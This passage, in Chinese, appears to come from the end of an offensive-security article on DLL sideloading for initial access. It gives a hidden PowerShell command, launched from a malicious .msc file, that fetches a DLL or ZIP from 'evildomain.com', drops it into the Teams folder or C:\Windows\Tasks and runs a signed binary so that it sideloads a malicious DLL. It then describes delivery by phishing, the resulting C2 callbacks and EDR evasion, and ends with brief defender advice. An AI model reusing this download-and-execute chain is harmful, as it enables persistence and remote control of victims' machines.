为了让事情变得更好,.msc有效载荷也可以根据是否预先检查Teams是否正在运行来调整。如果目标系统上没有Teams,我们会使用另一个有效载荷。现在让我们稍微扩展一下逻辑。
Powershell -w hidden if (Get-Process -Name Teams -ErrorAction SilentlyContinue) { curl.exe https://evildomain.com/AudioSes.dll -k -o $env:LOCALAPPDATA\Microsoft\Teams\current\AudioSes.dll } else { curl.exe https://evildomain.com/Obsidian.zip -k -o C:\Windows\Tasks\Obsidian.zip; Expand-Archive -Path C:\Windows\Tasks\Obsidian.zip -DestinationPath C:\Windows\Tasks -Force; C:\Windows\Tasks\obsidian.exe}
在这种情况下,代码片段的第一部分将检查运行中的进程是否有Teams实例正在运行。如果有,它将简单地丢弃DLL文件,这将完成侧加载攻击并建立持久性。另一方面,如果缺少Teams,代码将下载一个包含已知且签名的二进制文件的ZIP存档,在此示例中为Obsidian。该存档还包含预编译的恶意DLL文件,名为oleacc.dll。
oleacc.dll具有与AudioSes.dll相同的功能,并通过遵循上述相同过程使用Spartacus生成。
提取后,将执行obsidian.exe然后加载DLL文件。
下一步是通过归档传输.msc文件(由于Outlook也阻止了以普通.msc格式下载),或者通过钓鱼链接从远程Web服务器下载(没有网络标记),并在执行时,我们应该能够在每种情况下接收到C2回调。
案例1:Teams
执行test.msc会自动下载AudioSes.dll到所需位置。
图17:msc执行导致文件删除和持久性
下次Teams.exe启动时,将远程获取enc.bin文件,并建立C2连接。
图 18:DLL && 加密负载正在下载
图19:通过Teams建立的C2连接
案例2:Obsidian
在这里,当Teams没有运行时,会执行test.msc,它会下载并解压Obsidian.zip到C:\Windows\Tasks\。
然而,在真实环境中使用Obsidian进行初始访问将非常可疑,因为Obsidian不会以隐藏模式启动,而是对目标用户可见,目标用户也可能直接关闭进程从而切断你的C2连接。但这个例子可以用任何其他的侧加载二进制文件来替换。
图20:解压文件 && 启动了Obsidian
图21:通过Obsidian.exe的C2连接
九、结论
我们了解了 DLL 的基础知识、DLL 劫持的工作原理以及一些关于初始访问和武器化的想法。您现在可能已经了解了 DLL 劫持和 DLL Sideloading 是什么,以及如何转发 DLL 导出。
我们展示了查找易受 DLL Sideloading 攻击的二进制文件的过程,以及如何将这些二进制文件武器化以执行基本的、最小需要的规避功能的 shellcode。
DLL Sideloading 的最酷之处在于其隐蔽性,特别是对于 EDR。在合法签名的常用二进制文件中运行可以使我们的进程更具可信度,减少被检测的可能性。特别是,如果我们的目标进程执行与我们 beacon 类似的操作,例如定期 HTTPS 通信,我们可以在受信任的进程中伪装此 IoC。使用未签名的可执行文件,特别是那些在公司环境中未知的可执行文件,可能会导致警报/检测,因此坚持使用 DLL 或至少是 Sideloading 是当今的必需。
当然,DLL 有效载荷本身应尽可能隐蔽,因为无论 Sideloading 技术多么隐蔽,如果例如将明文有效载荷嵌入到源代码中,也不会取得好结果。请记住,攻击链中的每个组件都需要得到照顾,因为如果其中一个组件失败,攻击很可能会失败。
作为防御者,采用多层防御策略以有效降低此风险至关重要。其中一个主要策略是实施应用程序白名单,以确保只有经过批准的二进制文件可以执行。通过严格控制环境中运行的内容,您可以显著减少攻击面。
还可以使用自定义检测规则来识别从非 Windows 路径加载已知 Windows DLL 的 DLL Sideloading 攻击,例如 System32。但是,对于非 Windows DLL,这并不容易,因为有太多不同的供应商和二进制文件/DLL 需要跟踪。
提高用户意识和教育至关重要。毕竟,本文中的 MSC 文件必须首先被传递到受害者的系统上,然后才能执行。当与强大的端点安全解决方案结合使用时,识别和阻止恶意活动的可能性更高。